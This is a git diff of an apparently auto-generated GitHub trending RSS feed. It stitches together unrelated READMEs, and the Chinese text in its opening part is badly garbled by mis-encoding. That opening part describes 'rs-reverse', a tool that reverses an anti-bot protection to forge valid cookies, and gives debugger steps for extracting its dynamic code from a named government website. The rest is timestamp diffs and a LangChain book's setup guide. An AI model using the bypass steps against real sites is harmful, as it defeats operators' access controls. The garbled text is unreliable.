<li>ๅจๆไปฃ็ ๆไปถ<code>output/dynamic-code.js</code></li>
<li><code>$_ts</code>ๆไปถ<code>output/input_ts.json</code>ๅ<code>output/output_ts.json</code></li>
</ol>
<pre><code class="language-console"> $ npx rs-reverse makecode -h
rs-reverse makecode
็ๆๅจๆไปฃ็
Options:
-h ๆพ็คบๅธฎๅฉไฟกๆฏ [boolean]
-f, --file ๅซๆnsd, cdๅผ็jsonๆไปถ [string]
-u, --url ็ๆฐ่ฟๅ204็ถๆ็ ็่ฏทๆฑๅฐๅ [string]
-v, --version ๆพ็คบ็ๆฌๅท [boolean]
Examples:
rs-reverse makecode -f example/codes/1-$_ts.json
rs-reverse makecode -u http://url/path
</code></pre>
<p>่ฐ็จ็คบไพ๏ผ</p>
<pre><code class="language-bash"> $ npx rs-reverse makecode
่พๅ ฅts๏ผ./output/output_ts.js
่พๅบts๏ผ./output/output_ts.js
ๅจๆไปฃ็ ๏ผ./output/dynamic_code.js/input_ts.json
</code></pre>
<h3>2.2. makecookieๅญๅฝไปค</h3>
<p>ๆง่กๅญๅฝไปค<code>makecookie</code>็ๆๅจๆไปฃ็ , ๅฏไปฅไผ ๅ ฅๅ ๅซ<code>$_ts.nsd</code>ๅ<code>$_ts.cd</code>็ๆๆฌๆไปถๆ่ ็ดๆฅ็ปurl่ฎฉ็จๅบ่ชๅทฑๅปๆฟ, ๅฝไปค็คบไพ๏ผ</p>
<ol>
<li>npxๆนๅผ๏ผ<code>npx rs-reverse makecookie</code></li>
<li>ๆไปถๆนๅผ๏ผ<code>node main.js makecookie</code></li>
</ol>
<p>่ฏฅๅฝไปค้ฆๅ ไผๆง่ก<code>makecode</code>ๅญๅฝไปคๆฟๅฐๅฎๆด็<code>$_ts</code>ๅผ๏ผๅ่ฟ่กmakecookie็ฎๆณ็ๆcookieใ</p>
<p><code>makecookie</code>ๅฝไปคไธ<code>makecode</code>ไฝฟ็จๆนๅผ็ฑปไผผ๏ผ</p>
<pre><code class="language-console"> $ npx rs-reverse makecookie -h
rs-reverse makecookie
็ๆๅจๆไปฃ็
Options:
-h ๆพ็คบๅธฎๅฉไฟกๆฏ [boolean]
-f, --file ๅซๆnsd, cdๅผ็jsonๆไปถ [string]
-u, --url ็ๆฐ่ฟๅ204็ถๆ็ ็่ฏทๆฑๅฐๅ [string]
-v, --version ๆพ็คบ็ๆฌๅท [boolean]
Examples:
rs-reverse makecookie -f example/codes/1-$_ts.json
rs-reverse makecookie -u http://url/path
</code></pre>
<p>่ฐ็จ็คบไพ๏ผ</p>
<pre><code class="language-bash"> $ npx rs-reverse makecookie
Cookieๅผ: 06F5jRMo1hoEoEPOKmB6eAcYaJeWGRuYthzufuuJ4tkmcCMZLbouHGcYIm462aiARAwGlJIvr6M_vbi1K3kaer3n0ZE459rr3eKe8U.xTOaCdVxik6TW2XIle7cmudenUkPfU4UaEGoqOl8nAv38f_Qb_g6kZMpHn51J2qsIdscBqGgjQvcwWPFWk2r9SHbAJbRganpjSeTH1PksisGcKwHCFbHsXqYX1jAW672tcssl
Cookie้ฟ: 236
</code></pre>
<h3>2.3. execๅญๅฝไปค</h3>
<p>runcodeๅญๅฝไปค็จไบๅผๅไธญๆ่ ๆผ็คบๆถไฝฟ็จใๅฝไปค็คบไพ๏ผ</p>
<ol>
<li>npxๆนๅผ๏ผ<code>npx rs-reverse exec -c 'gv.cp2'</code></li>
<li>ๆไปถๆนๅผ๏ผ<code>node main.js exec -c 'gv.cp2'</code></li>
</ol>
<pre><code class="language-console"> $ npx rs-reverse exec -h
rs-reverse exec
็ดๆฅ่ฟ่กไปฃ็ ๏ผ็จไบๅผๅๅๆผ็คบๆถไฝฟ็จ
Options:
-h ๆพ็คบๅธฎๅฉไฟกๆฏ [boolean]
-l, --level ๆฅๅฟๆๅฐ็ญ็บง๏ผๅ่log4js๏ผ้ป่ฎคไธบinfo [string]
-c, --code ่ฆ่ฟ่ก็ไปฃ็ ๏ผๅฆ๏ผgv.cp2๏ผๅณๆๅฐcp2็ๅผ [string] [required]
-v, --version ๆพ็คบ็ๆฌๅท [boolean]
Examples:
rs-reverse exec -c 'code string'
</code></pre>
<p>่ฐ็จ็คบไพ๏ผ</p>
<pre><code class="language-bash"> $ npm rs-reverse exec -c '+ascii2string(gv.keys[21])'
่พๅ ฅ๏ผ+ascii2string(gv.keys[21])
่พๅบ๏ผ1718026159
</code></pre>
<h2>3. ๆๅจ่ทๅๅจๆไปฃ็ ๅ$_ts็ๆนๆณ</h2>
<p>็ฎๅฝ<code>example/codes/</code>ไธ็ๆไปถไธบๆๅจไฟๅญ๏ผ็จไบ้ช่ฏไปฃ็ ๅ่ฝ๏ผๅฆ่ฟ่ก๏ผ<code>npm run test</code>ๅไผๆฏๅฏน็จๅบ็ๆ็ๅจๆไปฃ็ ไธ<code>$_ts</code>ๆไปถๆฏๅฆไธ็ธๅ ณ้ๆๆไปถๆๆฌๅ ๅฎนไธ่ดใ</p>
<p>ๅฝ็ถไนๅฏไปฅ่ชๅทฑๆๅจๆฟๅจๆไปฃ็ ๅ$_tsไปฅ้ช่ฏ็จๅบๆฏๅฆ่ฟๆๆ๏ผๅฏไปฅ้่ฟๆงๅถๅฐๆฟๅฐ็ธๅ ณๆๆฌ๏ผ</p>
<ol>
<li>ๅจๆไปถไธญ<code>http://wcjs.sbj.cnipa.gov.cn/c5rxzYrjRT2h/cCdzB9ZjDFks.294cc83.js</code>ๆพๅฐไปฃ็ <code>_$_q.call(_$gP, _$_y)</code>ๅนถๆๅ ฅๆญ็น(ๆไปถๆพไธๅฐๅฏไปฅ้่ฟๅ ถๅฎไธค็งๆนๆณๅฎไฝ);</li>
<li>ๆพๅฐๅฆ็ฌฌไธๆก็jsๆไปถ๏ผๆ็ดข<code>.call(</code>ๆพๅฐ่ฐ็จๆนๆณ;</li>
<li>้่ฟไปฃ็cookieๅๅจ็ๆนๅผๆๆญ็น้่ฟๅ ๆ ๆพๅฐ่ฐ็จๆนๆณใ</li>
</ol>
<p>ๆญ็นๅๅคๅถ็ธๅ ณๆๆฌ๏ผ</p>
<ol>
<li>ๆฟๅฐๅจๆไปฃ็ ๏ผ<code>copy(_$_y)</code></li>
<li>ๆฟๅฐ<code>$_ts</code>: <code>console.log(JSON.stringify(window.$_ts))</code>๏ผ่ฟ้ๆ็น่๏ผๅฏไปฅ็จ<code>JSON.stringify(window.$_ts)</code>ๆ่ <code>copy(JSON.stringify(window.$_ts))</code>่ฏ่ฏ</li>
</ol>
<p><em>ๅๅง็<code>$_ts</code>ๅฏไปฅๅจ่ฟไธชๆไปถๅ ฅๅฃๅคๆๆญ็น่ทๅใ</em></p>
\ No newline at end of file
diff --git a/jest-snapshot/daily/index.xml b/jest-snapshot/daily/index.xml
index 7f3c0768c21..f10888c8c8a 100644
--- a/jest-snapshot/daily/index.xml
+++ b/jest-snapshot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jest Snapshot Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:02Z
+ 2024-01-04T01:32:39ZDaily Trending of Jest Snapshot in GitHub
\ No newline at end of file
diff --git a/jflex/daily/index.xml b/jflex/daily/index.xml
index 1230c81ad49..3ee95f3fe84 100644
--- a/jflex/daily/index.xml
+++ b/jflex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JFlex Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:03Z
+ 2024-01-04T01:32:44ZDaily Trending of JFlex in GitHub
\ No newline at end of file
diff --git a/jinja/daily/index.xml b/jinja/daily/index.xml
index 82f1bc32c22..d4965f79327 100644
--- a/jinja/daily/index.xml
+++ b/jinja/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jinja Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:04Z
+ 2024-01-04T01:32:43ZDaily Trending of Jinja in GitHub
\ No newline at end of file
diff --git a/jison-lex/daily/index.xml b/jison-lex/daily/index.xml
index 9ae8fe28c3a..186f5c1708f 100644
--- a/jison-lex/daily/index.xml
+++ b/jison-lex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jison Lex Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:03Z
+ 2024-01-04T01:32:42ZDaily Trending of Jison Lex in GitHub
\ No newline at end of file
diff --git a/jison/daily/index.xml b/jison/daily/index.xml
index a06709bc284..edf0cb05fff 100644
--- a/jison/daily/index.xml
+++ b/jison/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jison Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:05Z
+ 2024-01-04T01:32:43ZDaily Trending of Jison in GitHub
\ No newline at end of file
diff --git a/jolie/daily/index.xml b/jolie/daily/index.xml
index ec0e080d4b5..14a2b55ba34 100644
--- a/jolie/daily/index.xml
+++ b/jolie/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jolie Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:07Z
+ 2024-01-04T01:32:45ZDaily Trending of Jolie in GitHub
\ No newline at end of file
diff --git a/jq/daily/index.xml b/jq/daily/index.xml
index f59af3c73d1..f4f07d33509 100644
--- a/jq/daily/index.xml
+++ b/jq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub jq Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:06Z
+ 2024-01-04T01:32:47ZDaily Trending of jq in GitHub
\ No newline at end of file
diff --git a/json-with-comments/daily/index.xml b/json-with-comments/daily/index.xml
index 2b2966fb35b..e4cc1a7d7f8 100644
--- a/json-with-comments/daily/index.xml
+++ b/json-with-comments/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSON with Comments Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:07Z
+ 2024-01-04T01:32:46ZDaily Trending of JSON with Comments in GitHub
\ No newline at end of file
diff --git a/json/daily/index.xml b/json/daily/index.xml
index b051ff259e8..b662993f942 100644
--- a/json/daily/index.xml
+++ b/json/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSON Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:08Z
+ 2024-01-04T01:32:48ZDaily Trending of JSON in GitHub
\ No newline at end of file
diff --git a/json5/daily/index.xml b/json5/daily/index.xml
index 41736472c1e..e83bc41c6ad 100644
--- a/json5/daily/index.xml
+++ b/json5/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSON5 Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:09Z
+ 2024-01-04T01:32:49ZDaily Trending of JSON5 in GitHub
\ No newline at end of file
diff --git a/jsoniq/daily/index.xml b/jsoniq/daily/index.xml
index 7894f839e94..fda4a3fb698 100644
--- a/jsoniq/daily/index.xml
+++ b/jsoniq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSONiq Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:11Z
+ 2024-01-04T01:32:51ZDaily Trending of JSONiq in GitHub
\ No newline at end of file
diff --git a/jsonld/daily/index.xml b/jsonld/daily/index.xml
index e21d8433b71..ae32519d342 100644
--- a/jsonld/daily/index.xml
+++ b/jsonld/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JSONLD Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:10Z
+ 2024-01-04T01:32:50ZDaily Trending of JSONLD in GitHub
\ No newline at end of file
diff --git a/jsonnet/daily/index.xml b/jsonnet/daily/index.xml
index c071fa70c99..62428f95fb9 100644
--- a/jsonnet/daily/index.xml
+++ b/jsonnet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Jsonnet Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:12Z
+ 2024-01-04T01:32:50ZDaily Trending of Jsonnet in GitHub
\ No newline at end of file
diff --git a/julia/daily/index.xml b/julia/daily/index.xml
index 1d5ad204719..6c32e9f1a57 100644
--- a/julia/daily/index.xml
+++ b/julia/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Julia Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:15Z
+ 2024-01-04T01:32:55ZDaily Trending of Julia in GitHub
+
+ felipenoris/XLSX.jl
+ 2024-01-04T01:32:55Z
+ tag:github.com,2024-01-04:/felipenoris/XLSX.jl
+
+ <p>Excel file reader and writer for the Julia language.</p><hr>
+
\ No newline at end of file
diff --git a/jupyter-notebook/daily/index.xml b/jupyter-notebook/daily/index.xml
index 41aaf76e1e8..a0efda2ec52 100644
--- a/jupyter-notebook/daily/index.xml
+++ b/jupyter-notebook/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Jupyter Notebook Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:32:18Z
+ 2024-01-04T01:32:58ZDaily Trending of Jupyter Notebook in GitHub
- benman1/generative_ai_with_langchain
- 2024-01-03T01:32:18Z
- tag:github.com,2024-01-03:/benman1/generative_ai_with_langchain
-
- <p>Build large language model (LLM) apps with Python, ChatGPT and other models. This is the companion repository for the book on generative AI with LangChain.</p><hr><h1>Generative AI with LangChain, First Edition</h1>
<p>This is the code repository for <a href="https://www.packtpub.com/product/generative-ai-with-langchain/9781835083468">Generative AI with LangChain, First Edition</a>, published by Packt.</p>
<a href="https://www.packtpub.com/product/generative-ai-with-langchain/9781835083468"> <img src="https://content.packt.com/B21269/cover_image_small.png" alt="Learn PostgreSQL - second edition" height="256px" align="right"> </a>
<p><strong>Build large language model (LLM) apps with Python, ChatGPT, and other LLMs</strong></p>
<p>The author of this book is - <a href="https://www.linkedin.com/in/ben-auffarth/?originalSubdomain=uk">Ben Auffarth</a></p>
<h1>Working with this repository</h1>
<p>This is the companion repository for the book. Here are a few instructions that help getting set up. Please also see chapter 3.</p>
<p>All chapters rely on Python.</p>
<h2>Software and hardware list</h2>
<table>
<thead>
<tr>
<th align="center">Chapter</th>
<th align="center">Software required</th>
<th align="center">Link to the software</th>
<th align="center">Hardware specifications</th>
<th align="center">OS required</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">All chapters</td>
<td align="center">Python 3.10+</td>
<td align="center"><a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></td>
<td align="center">Should work on any recent computer</td>
<td align="center">Windows, MacOS, Linux (any), macOS, Windows</td>
</tr>
</tbody>
</table>
<h2>Environment</h2>
<p>You can install your local environment with conda (recommended) or pip. The environment configurations for conda and pip are provided. Please note that if you choose pip as you installation tool, you might need additional tweaking.</p>
<p>If you have any problems with the environment, please raise an issue, where you show the error you got. If you feel confident, please go ahead and create a pull request.</p>
<p>For pip and poetry, make sure you install pandoc in your system. On MacOS use brew:</p>
<pre><code class="language-bash">brew install pandoc
</code></pre>
<p>On Ubuntu or Debian linux, use apt:</p>
<pre><code class="language-bash">sudo apt-get install pandoc
</code></pre>
<p>On Windows, you can use an <a href="https://github.com/jgm/pandoc/releases/latest">installer</a>.</p>
<h3>Conda</h3>
<p>This is the recommended method for installing dependencies. Please make sure you have <a href="https://www.anaconda.com/download">anaconda</a> installed.</p>
<p>First create the environment for the book that contains all the dependencies:</p>
<pre><code class="language-bash">conda env create --file langchain_ai.yaml --force
</code></pre>
<p>The conda environment is called <code>langchain_ai</code>. You can activate it as follows:</p>
<pre><code class="language-bash">conda activate langchain_ai
</code></pre>
<h3>Pip</h3>
<p><a href="https://pypi.org/project/pip/">Pip</a> is the default dependency management tool in Python. With pip, you should be able to install all the libraries from the requirements file:</p>
<pre><code class="language-bash">pip install -r requirements.txt
</code></pre>
<p>If you are working with a slow internet connection, you might see a timeout with pip (this can also happen with conda and pip). As a workaround, you can increase the timeout setting like this:</p>
<pre><code class="language-bash">export PIP_DEFAULT_TIMEOUT=100
</code></pre>
<h3>Docker</h3>
<p>There's a <a href="https://www.docker.com/">docker</a> file for the environment as well. It uses the docker environment and starts an ipython notebook. To use it, first build it, and then run it:</p>
<pre><code class="language-bash">docker build -t langchain_ai .
docker run -d -p 8888:8888 langchain_ai
</code></pre>
<p>You should be able to find the notebook in your browser at <a href="http://localhost:8888">http://localhost:8888</a>.</p>
<h3>Poetry</h3>
<p>Make sure you have <a href="https://python-poetry.org/">poetry</a> installed. On Linux and MacOS, you should be able to use the requirements file:</p>
<pre><code class="language-bash">poetry install
</code></pre>
<p>This should take the <code>pyproject.toml</code> file and install all dependencies.</p>
<h2>Code validation</h2>
<p>I've included a <code>Makefile</code> that includes instructions for validation with flake8, mypy, and other tools. I have run mypy like this:</p>
<pre><code class="language-bash">make typecheck
</code></pre>
<p>To run the code validation in ruff, please run</p>
<pre><code class="language-bash">ruff check .
</code></pre>
<h2>Setting API keys</h2>
<p>Following best practices regarding safety, I am not committing my credentials to GitHub. You might see <code>import</code> statements mentioning a <code>config.py</code> file, which is not included in the repository. This module has a method <code>set_environment()</code> that sets all the keys as environment variables like this:</p>
<p>Example config.py:</p>
<pre><code class="language-python">import os
def set_environment():
os.environ['OPENAI_API_KEY']='your-api-key-here'
</code></pre>
<p>Obviously, you'd put your API credentials here. Depending on the integration (Openai, Azure, etc) you need to add the corresponding API keys. The OpenAI API keys are the most often used across all the code.</p>
<p>You can find more details about API credentials and setup in chapter 3 of the book <a href="https://www.amazon.com/Generative-AI-LangChain-language-ChatGPT-ebook/dp/B0CBBL55PQ">Generative AI with LangChain</a>.</p>
<h2>Contributing</h2>
<p>If you find anything amiss with the notebooks or dependencies, please feel free to create a pull request.</p>
<p>If you want to change the conda dependency specification (the yaml file), you can test it like this:</p>
<pre><code class="language-bash">conda env create --file langchain_ai.yaml --force
</code></pre>
<p>You can update the pip requirements like this:</p>
<pre><code class="language-bash">pip freeze > requirements.txt
</code></pre>
<p>Please make sure that you keep these two ways of maintaining dependencies in sync.</p>
<p>Then make sure, you test the notebooks in the new environment to see that they run.</p>
<h1>Generative AI with LangChain</h1>
<p>Create generative AI apps with LangChain.</p>
<h2>About the book</h2>
<p>ChatGPT and the GPT models by OpenAI have brought about a revolution not only in how we write and research but also in how we can process information. This book discusses the functioning, capabilities, and limitations of LLMs underlying chat systems, including ChatGPT and Bard. It also demonstrates, in a series of practical examples, how to use the LangChain framework to build production-ready and responsive LLM applications for tasks ranging from customer support to software development assistance and data analysis โ illustrating the expansive utility of LLMs in real-world applications.</p>
<p>Unlock the full potential of LLMs within your projects as you navigate through guidance on fine-tuning, prompt engineering, and best practices for deployment and monitoring in production environments. Whether you're building creative writing tools, developing sophisticated chatbots, or crafting cutting-edge software development aids, this book will be your roadmap to mastering the transformative power of generative AI with confidence and creativity.</p>
<h2>Key Takeaways</h2>
<ul>
<li>Understand LLMs, their strengths and limitations</li>
<li>Grasp generative AI fundamentals and industry trends</li>
<li>Create LLM apps with LangChain like question-answering systems and chatbots</li>
<li>Understand transformer models and attention mechanisms</li>
<li>Automate data analysis and visualization using pandas and Python</li>
<li>Grasp prompt engineering to improve performance</li>
<li>Fine-tune LLMs and get to know the tools to unleash their power</li>
<li>Deploy LLMs as a service with LangChain and apply evaluation strategies</li>
<li>Privately interact with documents using open-source LLMs to prevent data leaks</li>
</ul>
<h2>Outline and Chapter Summary</h2>
<p>This book is a comprehensive introduction to LLMs and LangChain, demystifying the basic mechanics of LangChain, its functionalities, and the myriad of applications it can be integrated into.</p>
<ol>
<li>What Is Generative AI</li>
<li>LangChain for LLM Apps</li>
<li>Getting Started with LangChain</li>
<li>Building Capable Assistants</li>
<li>Building a Chatbot like ChatGPT</li>
<li>Developing Software with Generative AI</li>
<li>LLMs for Data Science</li>
<li>Customizing LLMs and Their Output</li>
<li>Generative AI in Production</li>
<li>The Future of Generative Models,</li>
</ol>
<h3>Chapter 01, What Is Generative AI</h3>
<p>The chapter delves into the transformative impact of deep learning on processing and generating unstructured data, particularly focusing on large language models (LLMs). The widespread adoption of advanced AI models, driven by technological advancements and high-profile applications, has generated significant excitement in both the media and various industries. The chapter emphasizes the evolution of generative models and their applications, providing an overview of the technical concepts and training approaches that empower these models to produce novel content, primarily in the realms of text and image generation. While not delving into sound or video generation, the narrative aims to demystify the underlying mechanisms, including neural networks, large datasets, and computational scale, that enable these generative models to achieve human-like content generation. The structured exploration covers key topics, such as introducing generative AI, understanding LLMs, exploring text-to-image models, and examining AI applications in diverse domains.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Evolution of Deep Learning:</strong> Over the last decade, deep learning has undergone significant evolution, enabling the processing and generation of unstructured data, including text, images, and video.</p> </li>
<li> <p><strong>Popularity of AI Models:</strong> Advanced AI models, particularly large language models (LLMs), have gained widespread popularity across various industries, sparking excitement in the media and the business sector.</p> </li>
<li> <p><strong>Transformative Impact of AI:</strong> The chapter highlights the potential for a wide-ranging and major impact of Artificial Intelligence on businesses, societies, and individuals, driven by technological advancements and transformative possibilities in multiple sectors.</p> </li>
<li> <p><strong>Generative Models Exploration:</strong> The chapter explores generative models, providing a high-level understanding of technical concepts, training approaches, and the underlying magic that allows models to generate remarkably human-like content in text and image domains.</p> </li>
<li> <p><strong>Comprehensive Overview:</strong> From introducing generative AI and understanding LLMs to exploring text-to-image models and discussing AI applications in different domains, the chapter offers a structured and comprehensive overview of the evolving landscape of generative models.</p> </li>
</ul>
<h3>Chapter 02, LangChain for LLM Apps</h3>
<p>The chapter introduces the limitations of Large Language Models (LLMs) like GPT-4 when used in isolation, emphasizing issues such as the lack of external knowledge, flawed reasoning, and the inability to take action. To address these challenges, the chapter proposes LangChain as a comprehensive framework that goes beyond mere API access to LLMs. It advocates for combining recent AI advancements with LangChain to build innovative language-based applications. The discussion begins by outlining the shortcomings faced when using LLMs independently and then introduces LangChain as a solution through integrations and off-the-shelf components. The chapter illustrates how developers can leverage LangChain's capabilities to create customized natural language processing solutions, emphasizing the importance of concepts like chains, action plan generation, and memory in understanding how LangChain works. By showcasing the potential of LangChain to overcome LLM limitations, the chapter sets the stage for exploring dynamic, data-aware applications that surpass the possibilities of simple API calls.</p>
<p>The chapter delves into the key components of LangChain, such as chains and agents, highlighting their role in composing pipelines and facilitating goal-oriented interactions. Chains enable sequencing calls to various resources, including LLMs, databases, and APIs, to accomplish multi-step workflows, while agents leverage these chains to take actions based on observations, managing dynamic applications. The concept of memory is introduced as well to persist information across executions, maintaining state and addressing the limitations of individual LLMs. The narrative emphasizes LangChain's reduction of complex orchestration into customizable building blocks, paving the way for the development of sophisticated applications. Looking ahead, the chapter teases the exploration of LangChain fundamentals in the subsequent chapters, promising the implementation of conversational agents that combine LLMs with knowledge bases and advanced reasoning algorithms. Developers are encouraged to unlock the full potential of LLMs by leveraging LangChain's capabilities to power the next generation of AI software.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>LLM Limitations Addressed:</strong> The chapter highlights the limitations of Large Language Models (LLMs) like GPT-4, such as the lack of external knowledge and flawed reasoning, and introduces LangChain as a framework to overcome these challenges.</p> </li>
<li> <p><strong>LangChain as a Solution:</strong> LangChain is presented as a comprehensive solution to enhance LLM capabilities by combining them with other data sources and tools, offering developers the ability to build innovative language-based applications.</p> </li>
<li> <p><strong>Components of LangChain:</strong> The chapter explores key components of LangChain, including chains for sequencing calls to various resources, agents for goal-oriented interactions, and memory for persisting information across executions, providing modular and reusable building blocks.</p> </li>
<li> <p><strong>Dynamic Applications:</strong> LangChain enables the creation of dynamic, data-aware applications that go beyond the limitations of individual LLMs, illustrating the potential to reduce complex orchestration into customizable building blocks.</p> </li>
<li> <p><strong>Next Steps with LangChain:</strong> The chapter sets the stage for future exploration, teasing the implementation of conversational agents that combine LLMs with knowledge bases and advanced reasoning algorithms, showcasing how developers can unlock the full potential of LLMs to power the next generation of AI software.</p> </li>
</ul>
<h3>Chapter 03, Getting Started with LangChain</h3>
<p>The chapter begins by providing essential setup instructions for the libraries required in the book, ensuring readers can execute the practical examples seamlessly using common dependency management tools like Docker, Conda, pip, and Poetry. Following this, the focus shifts to model integrations, introducing various models such as OpenAI's ChatGPT, Hugging Face models, and Jina AI. The chapter guides readers through the setup and interaction with these models, emphasizing the acquisition of API key tokens. As a practical application, the narrative culminates in the development of a real-world LLM app tailored for customer service, showcasing the potential game-changing impact of LLMs in this domain. This example serves to provide additional context for using LangChain, accompanied by tips and tricks for effective utilization.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Comprehensive Environment Setup:</strong> The chapter provides crucial setup instructions for required libraries using popular dependency management tools (Docker, Conda, pip, and Poetry), ensuring readers can smoothly run practical examples in the book.</p> </li>
<li> <p><strong>Model Integrations Exploration:</strong> It introduces and guides readers through various model integrations, including OpenAI's ChatGPT, Hugging Face models, and Jina AI. The focus is on acquiring API key tokens for these models, facilitating their usage in applications.</p> </li>
<li> <p><strong>Real-world Application Development:</strong> The chapter culminates in the development of a practical LLM app designed for customer service, showcasing the potential of LLMs to be game-changers in this domain. This example offers a tangible illustration of LangChain's capabilities.</p> </li>
<li> <p><strong>LangChain Installation Methods:</strong> Four distinct ways of installing LangChain and other necessary libraries are walked through, providing readers with multiple options to set up their environments effectively.</p> </li>
<li> <p><strong>Orchestrating Multiple Models:</strong> The chapter demonstrates LangChain's ability to orchestrate multiple models seamlessly, emphasizing its utility in reducing response times and ensuring accuracy in customer service interactions. The practical application involves text categorization and sentiment analysis.</p> </li>
</ul>
<h3>Chapter 04, Building Capable Assistants</h3>
<p>The chapter focuses on addressing the challenge of transforming the fluency of Large Language Models (LLMs) into reliably capable assistants. It explores various methods to enhance LLMs through prompts, tools, and structured reasoning techniques, aiming to imbue greater intelligence, productivity, and trustworthiness. The chapter covers practical applications, beginning with mitigating hallucinations through automatic fact-checking, a critical step in improving the reliability of LLM outputs. The discussion then delves into the strength of LLMs in summarization, showcasing integration with prompts at different levels of sophistication and a map reduce approach for handling lengthy documents. The chapter further explores information extraction from documents through function calls, emphasizing the integration of external data and services to augment LLMs' limited world knowledge. The application of reasoning strategies is also demonstrated to extend the capabilities of LLMs. The integration of tools and function calling is explored beyond OpenAI, showcasing the evolution of instruction tuning and tool usage, enabling LLMs to automate tasks by interacting with real systems. The chapter illustrates the implementation of agents with LangChain, exemplified by a Streamlit app that answers research questions using external tools like search engines or Wikipedia. The incorporation of decision-making strategies, such as plan-and-solve and zero-shot agents, is also explored.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Enhancing LLM Reliability:</strong> The chapter addresses the challenge of transforming the fluency of Large Language Models (LLMs) into reliable assistants by exploring methods such as prompts, tools, and structured reasoning techniques.</p> </li>
<li> <p><strong>Fact-Checking for Accuracy:</strong> The importance of mitigating hallucinations is highlighted through automatic fact-checking, offering practical approaches to verify claims against available evidence and reduce the spread of misinformation.</p> </li>
<li> <p><strong>Summarization Techniques:</strong> The chapter explores the strength of LLMs in summarization, demonstrating integration with prompts at different levels of sophistication and a map reduce approach for handling lengthy documents, providing practical applications for digesting extensive research articles or analyses.</p> </li>
<li> <p><strong>Information Extraction and Tool Integration:</strong> The integration of tools and function calling beyond OpenAI is showcased, illustrating how models can move beyond freeform text generation to automate tasks by interacting with real systems. The implementation of tools, such as a CV parser, demonstrates information extraction capabilities from documents.</p> </li>
<li> <p><strong>Reasoning Strategies for Decision-Making:</strong> The chapter introduces different strategies employed by agents for decision-making, including plan-and-solve and zero-shot agents in a Streamlit app. It emphasizes the importance of reasoning strategies to extend the capabilities of LLMs, paving the way for more capable and trustworthy AI assistants.</p> </li>
</ul>
<h3>Chapter 05, Building a Chatbot like ChatGPT</h3>
<p>In this chapter, the focus is on addressing the limitations of chatbots powered by Large Language Models (LLMs), particularly their lack of world knowledge for domain-specific question answering. The solution explored is Retrieval-Augmented Generation (RAG), which improves chatbots by grounding their responses in external evidence sources. The key steps involve encoding corpora into vector embeddings for rapid semantic search, integrating retrieval results into the chatbot's prompt, and showcasing practical RAG implementations using popular libraries like Milvus and Pinecone. Through end-to-end examples, the chapter demonstrates how RAG significantly enhances chatbots' reasoning and factual correctness. The discussion extends to the reputational and legal perspective, emphasizing moderation capabilities in LangChain to check for harmful content in chatbot responses. The chapter provides a comprehensive exploration of chatbots, retrieval mechanisms, vector storage, memory mechanisms, and moderation, offering a foundational understanding and practical insights for implementing an advanced chatbot.</p>
<p>The chapter unfolds with an overview of chatbots, their evolution, and the current state of chatbot technology, highlighting practical implications and enhancements. It connects with the previous chapter on tool-augmented LLMs, emphasizing the importance of proactive communication and discussing retrieval mechanisms to improve chatbot accuracy. The exploration delves into loading documents, vector storage, and embedding, along with memory mechanisms for maintaining knowledge and ongoing conversation states. The chapter concludes with a discussion on moderation, underscoring the significance of ensuring respectful and aligned responses with organizational values. The features introduced in this chapter provide a starting point for investigating issues like memory, context, moderation of speech, and addressing challenges such as hallucinations in chatbot responses.</p>
<p><strong>Key Insights</strong>:</p>
<ul>
<li> <p><strong>Overcoming Knowledge Limitations:</strong> The chapter addresses the limitations of chatbots powered by Large Language Models (LLMs) in domain-specific question answering by introducing Retrieval-Augmented Generation (RAG). RAG enhances chatbots by grounding responses in external evidence sources, overcoming the inherent lack of world knowledge in LLMs.</p> </li>
<li> <p><strong>Vector-Based Retrieval:</strong> The key techniques involve encoding corpora into vector embeddings, enabling rapid semantic search for relevant information. This vector-based retrieval approach is crucial for augmenting chatbot prompts with additional information retrieved from external sources.</p> </li>
<li> <p><strong>Practical Implementations:</strong> The chapter provides practical demonstrations of RAG implementations using popular libraries like Milvus and Pinecone, showcasing how these techniques significantly improve chatbots' reasoning and factual correctness. End-to-end examples offer insights into the integration of retrieval mechanisms into the chatbot's workflow.</p> </li>
